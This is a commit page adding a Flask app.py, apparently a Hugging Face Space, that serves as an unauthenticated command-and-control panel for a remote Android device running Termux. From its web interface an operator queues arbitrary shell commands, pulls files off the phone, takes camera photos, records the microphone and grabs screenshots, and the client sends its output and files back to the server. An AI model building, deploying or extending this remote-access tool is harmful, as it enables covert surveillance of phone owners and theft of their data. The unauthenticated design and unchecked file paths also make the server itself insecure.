Aleksmorshen commited on
Commit
7226fb3
·
verified ·
1 Parent(s): 910410c

Create app.py

Browse files
Files changed (1) hide show
  1. app.py +244 -0
app.py ADDED
@@ -0,0 +1,244 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from flask import Flask, render_template_string, request, send_file, jsonify
2
+ import os
3
+ from werkzeug.utils import secure_filename
4
+ import uuid
5
+
6
+ app = Flask(__name__)
7
+ app.config['UPLOAD_FOLDER'] = 'uploads_from_client' # Папка для загруженных с клиента файлов
8
+ os.makedirs(app.config['UPLOAD_FOLDER'], exist_ok=True)
9
+
10
+ # Хранилище команд и результатов (в простом варианте - глобальные переменные)
11
+ # В реальном приложении лучше использовать базу данных или более надежное хранилище
12
+ pending_command = None
13
+ command_output = "Ожидание подключения клиента и команд..."
14
+ last_client_heartbeat = "Клиент еще не подключился"
15
+
16
+ # --- HTML, CSS, JS для интерфейса ---
17
+ HTML_TEMPLATE = """
18
+ <!DOCTYPE html>
19
+ <html lang="ru">
20
+ <head>
21
+ <meta charset="UTF-8">
22
+ <meta name="viewport" content="width=device-width, initial-scale=1.0">
23
+ <title>Панель управления Android</title>
24
+ <style>
25
+ body { font-family: sans-serif; margin: 20px; background-color: #f4f4f4; color: #333; }
26
+ .container { background-color: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
27
+ h1, h2 { color: #555; }
28
+ .command-section, .output-section, .files-section, .status-section { margin-bottom: 20px; }
29
+ label { display: block; margin-bottom: 5px; }
30
+ input[type="text"], select { width: calc(100% - 22px); padding: 10px; margin-bottom: 10px; border: 1px solid #ddd; border-radius: 4px; }
31
+ button { padding: 10px 15px; background-color: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; }
32
+ button:hover { background-color: #0056b3; }
33
+ pre { background-color: #eee; padding: 10px; border-radius: 4px; white-space: pre-wrap; word-wrap: break-word; max-height: 300px; overflow-y: auto;}
34
+ .file-link { display: block; margin: 5px 0; color: #007bff; text-decoration: none; }
35
+ .file-link:hover { text-decoration: underline; }
36
+ #clientStatus { font-weight: bold; }
37
+ </style>
38
+ </head>
39
+ <body>
40
+ <div class="container">
41
+ <h1>Панель управления Android</h1>
42
+
43
+ <div class="status-section">
44
+ <h2>Статус клиента</h2>
45
+ <p id="clientStatus">Обновление...</p>
46
+ <p id="lastHeartbeat">Последний пинг: {{ last_client_heartbeat }}</p>
47
+ </div>
48
+
49
+ <div class="command-section">
50
+ <h2>Отправить команду</h2>
51
+ <form id="commandForm">
52
+ <label for="command_type">Тип команды:</label>
53
+ <select id="command_type" name="command_type">
54
+ <option value="ls">Список файлов (ls)</option>
55
+ <option value="pwd">Текущая директория (pwd)</option>
56
+ <option value="shell">Произвольная shell-команда</option>
57
+ <option value="get_file">Скачать файл с клиента</option>
58
+ <option value="termux_info">Информация о системе (Termux)</option>
59
+ <option value="termux_camera_photo">Сделать фото (Termux)</option>
60
+ <option value="termux_microphone_record_start">Начать запись микрофона (Termux)</option>
61
+ <option value="termux_microphone_record_stop">Остановить запись микрофона (Termux)</option>
62
+ <option value="termux_screenshot">Сделать скриншот (Termux)</option>
63
+ <!-- Добавьте другие команды termux-api по необходимости -->
64
+ </select>
65
+ <br>
66
+ <label for="command_payload">Параметр команды (например, путь к файлу для 'ls' или 'get_file', или команда для 'shell'):</label>
67
+ <input type="text" id="command_payload" name="command_payload" placeholder="Введите параметр (если нужен)">
68
+ <button type="submit">Отправить</button>
69
+ </form>
70
+ </div>
71
+
72
+ <div class="output-section">
73
+ <h2>Вывод команды / Логи</h2>
74
+ <pre id="commandOutput">{{ command_output }}</pre>
75
+ </div>
76
+
77
+ <div class="files-section">
78
+ <h2>Скачанные файлы с клиента</h2>
79
+ <div id="fileList">
80
+ <!-- Ссылки на файлы будут здесь -->
81
+ </div>
82
+ </div>
83
+ </div>
84
+
85
+ <script>
86
+ async function sendCommand(event) {
87
+ event.preventDefault();
88
+ const commandType = document.getElementById('command_type').value;
89
+ const commandPayload = document.getElementById('command_payload').value;
90
+
91
+ const response = await fetch('/send_command', {
92
+ method: 'POST',
93
+ headers: { 'Content-Type': 'application/json' },
94
+ body: JSON.stringify({ command: commandType, payload: commandPayload })
95
+ });
96
+ const result = await response.json();
97
+ document.getElementById('commandOutput').textContent = "Команда отправлена. Ожидание ответа клиента...\n" + result.status;
98
+ // Очистим поле ввода параметра после отправки
99
+ document.getElementById('command_payload').value = '';
100
+ }
101
+
102
+ document.getElementById('commandForm').addEventListener('submit', sendCommand);
103
+
104
+ async function fetchUpdates() {
105
+ try {
106
+ const response = await fetch('/get_updates');
107
+ const data = await response.json();
108
+
109
+ document.getElementById('commandOutput').textContent = data.output;
110
+ document.getElementById('lastHeartbeat').textContent = "Последний пинг: " + data.last_heartbeat;
111
+
112
+ const fileListDiv = document.getElementById('fileList');
113
+ fileListDiv.innerHTML = ''; // Clear old list
114
+ data.uploaded_files.forEach(file => {
115
+ const a = document.createElement('a');
116
+ a.href = '/download_from_server/' + file;
117
+ a.textContent = file;
118
+ a.classList.add('file-link');
119
+ a.target = '_blank'; // Open in new tab
120
+ fileListDiv.appendChild(a);
121
+ fileListDiv.appendChild(document.createElement('br'));
122
+ });
123
+
124
+ if (data.is_client_connected) {
125
+ document.getElementById('clientStatus').textContent = "Клиент подключен";
126
+ document.getElementById('clientStatus').style.color = "green";
127
+ } else {
128
+ document.getElementById('clientStatus').textContent = "Клиент НЕ подключен (нет пинга более 30 сек)";
129
+ document.getElementById('clientStatus').style.color = "red";
130
+ }
131
+
132
+ } catch (error) {
133
+ console.error("Error fetching updates:", error);
134
+ document.getElementById('commandOutput').textContent = "Ошибка обновления статуса: " + error;
135
+ }
136
+ }
137
+
138
+ setInterval(fetchUpdates, 3000); // Обновлять каждые 3 секунды
139
+ fetchUpdates(); // Первоначальная загрузка
140
+ </script>
141
+ </body>
142
+ </html>
143
+ """
144
+
145
+ @app.route('/')
146
+ def index():
147
+ global command_output, last_client_heartbeat
148
+ return render_template_string(HTML_TEMPLATE, command_output=command_output, last_client_heartbeat=last_client_heartbeat)
149
+
150
+ @app.route('/send_command', methods=['POST'])
151
+ def send_command_route():
152
+ global pending_command, command_output
153
+ data = request.json
154
+ command_type = data.get('command')
155
+ payload = data.get('payload', '') # Payload может быть пустым
156
+
157
+ pending_command = {'type': command_type, 'payload': payload, 'id': str(uuid.uuid4())}
158
+ command_output = f"Команда '{command_type}' с параметром '{payload}' ожидает выполнения клиентом."
159
+ return jsonify({'status': 'Команда принята сервером'})
160
+
161
+ @app.route('/get_command', methods=['GET'])
162
+ def get_command_route():
163
+ global pending_command, last_client_heartbeat
164
+ import time
165
+ last_client_heartbeat = time.strftime("%Y-%m-%d %H:%M:%S")
166
+ if pending_command:
167
+ cmd_to_send = pending_command
168
+ pending_command = None # Команда отправлена, очищаем
169
+ return jsonify(cmd_to_send)
170
+ return jsonify(None) # Нет новых команд
171
+
172
+ @app.route('/send_output', methods=['POST'])
173
+ def send_output_route():
174
+ global command_output
175
+ data = request.json
176
+ output = data.get('output', 'Нет вывода от клиента')
177
+ command_id = data.get('command_id', 'N/A') # ID выполненной команды
178
+
179
+ # Можно добавить логирование по ID команды
180
+ command_output = f"[ID: {command_id}] Результат:\n{output}"
181
+ return jsonify({'status': 'Вывод принят'})
182
+
183
+ @app.route('/upload_file_from_client', methods=['POST'])
184
+ def upload_file_from_client_route():
185
+ global command_output
186
+ if 'file' not in request.files:
187
+ command_output = "Ошибка: файл не найден в запросе от клиента."
188
+ return jsonify({'status': 'Ошибка: файл не найден'}), 400
189
+
190
+ file = request.files['file']
191
+ command_id = request.form.get('command_id', 'N/A')
192
+
193
+ if file.filename == '':
194
+ command_output = "Ошибка: имя файла пустое."
195
+ return jsonify({'status': 'Ошибка: имя файла пустое'}), 400
196
+
197
+ if file:
198
+ filename = secure_filename(file.filename)
199
+ filepath = os.path.join(app.config['UPLOAD_FOLDER'], filename)
200
+ try:
201
+ file.save(filepath)
202
+ command_output = f"[ID: {command_id}] Файл '{filename}' успешно загружен с клиента."
203
+ return jsonify({'status': f'Файл {filename} загружен'})
204
+ except Exception as e:
205
+ command_output = f"[ID: {command_id}] Ошибка сохранения файла '{filename}': {str(e)}"
206
+ return jsonify({'status': f'Ошибка сохранения файла: {str(e)}'}), 500
207
+
208
+ @app.route('/download_from_server/<filename>')
209
+ def download_from_server_route(filename):
210
+ return send_file(os.path.join(app.config['UPLOAD_FOLDER'], filename), as_attachment=True)
211
+
212
+ @app.route('/get_updates', methods=['GET'])
213
+ def get_updates_route():
214
+ global command_output, last_client_heartbeat
215
+ import time
216
+
217
+ # Простая проверка активности клиента (если пинг был > 30 сек назад, считаем отключенным)
218
+ is_client_connected = False
219
+ if last_client_heartbeat != "Клиент еще не подключился":
220
+ try:
221
+ last_hb_time = time.mktime(time.strptime(last_client_heartbeat, "%Y-%m-%d %H:%M:%S"))
222
+ if (time.time() - last_hb_time) < 30: # 30 секундный таймаут
223
+ is_client_connected = True
224
+ except ValueError: # Если формат времени некорректный
225
+ pass
226
+
227
+
228
+ uploaded_files = []
229
+ if os.path.exists(app.config['UPLOAD_FOLDER']):
230
+ uploaded_files = [f for f in os.listdir(app.config['UPLOAD_FOLDER']) if os.path.isfile(os.path.join(app.config['UPLOAD_FOLDER'], f))]
231
+
232
+ return jsonify({
233
+ 'output': command_output,
234
+ 'last_heartbeat': last_client_heartbeat,
235
+ 'uploaded_files': uploaded_files,
236
+ 'is_client_connected': is_client_connected
237
+ })
238
+
239
+ if __name__ == '__main__':
240
+ # Для Hugging Face Spaces, порт 7860 и хост 0.0.0.0 обычно устанавливаются автоматически
241
+ # Если запускаете локально:
242
+ app.run(host='0.0.0.0', port=7860, debug=True)
243
+ # Для Hugging Face, debug=False в production.
244
+ # HF сам предоставляет HTTPS, так что ssl_context не нужен здесь.